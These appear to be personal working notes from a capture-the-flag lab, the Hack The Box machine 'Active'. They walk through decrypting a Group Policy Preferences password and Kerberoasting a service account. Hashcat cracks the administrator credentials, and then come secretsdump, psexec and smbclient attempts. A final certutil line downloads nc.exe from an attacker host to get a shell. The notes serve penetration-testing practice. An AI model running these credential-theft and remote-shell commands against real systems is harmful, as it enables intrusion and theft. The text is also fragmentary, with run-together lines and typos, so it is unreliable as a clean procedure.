SMB
enumeration, we get GPP password. Crack it:
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"GPPstillStandingStrong2k18
User was:
name="active.htb\SVC_TGS"Where did I find this file on SMB?
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>Mistake here**** Not recursive work
Try new user with crackmapexec (cme)?
cme smb 10.10.10.100 -u 'active.htb\SVC_TGS' -p 'GPPstillStandingStrong2k18' --local-auth --sharespsexec?
psexec.py active.htb\SVC_TGS:'GPPstillStandingStrong2k18'@10.10.10.100it’s a TGS. Kerberoast?
sudo GetUserSPNs.py active.htb\SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -requestmistake********* backslash instead of frontslash and took forever to figure out
CORRECT command that gave us the admin hash:
sudo GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -requesthow the write up did it:
GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/svc_tgshash:
dump SAM:
cme smb 10.10.10.100 -u 'SVC_TGS' -d active.htb -p GPPstillStandingStrong2k18 --local-auth --samnothing
Hashcat for kerberoasting:
hashcat -m 7500 activeKerb.txt rockyou.txt -OCracked!
New credentials:
Administartor:Ticketmaster1968secretsdump?
secretsdump.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18'@10.10.10.100connect to shares again as service:
smbclient \\\\10.10.10.100\\Users -U SVC_TGS%GPPstillStandingStrong2k18running shell command on smb:
!shellcommand
!whoamiMove over netcat for shell?
certutil -urlcache -f http://10.10.14.19:8080/nc.exe nc.exedoesn’t let us with certutil. Try curl?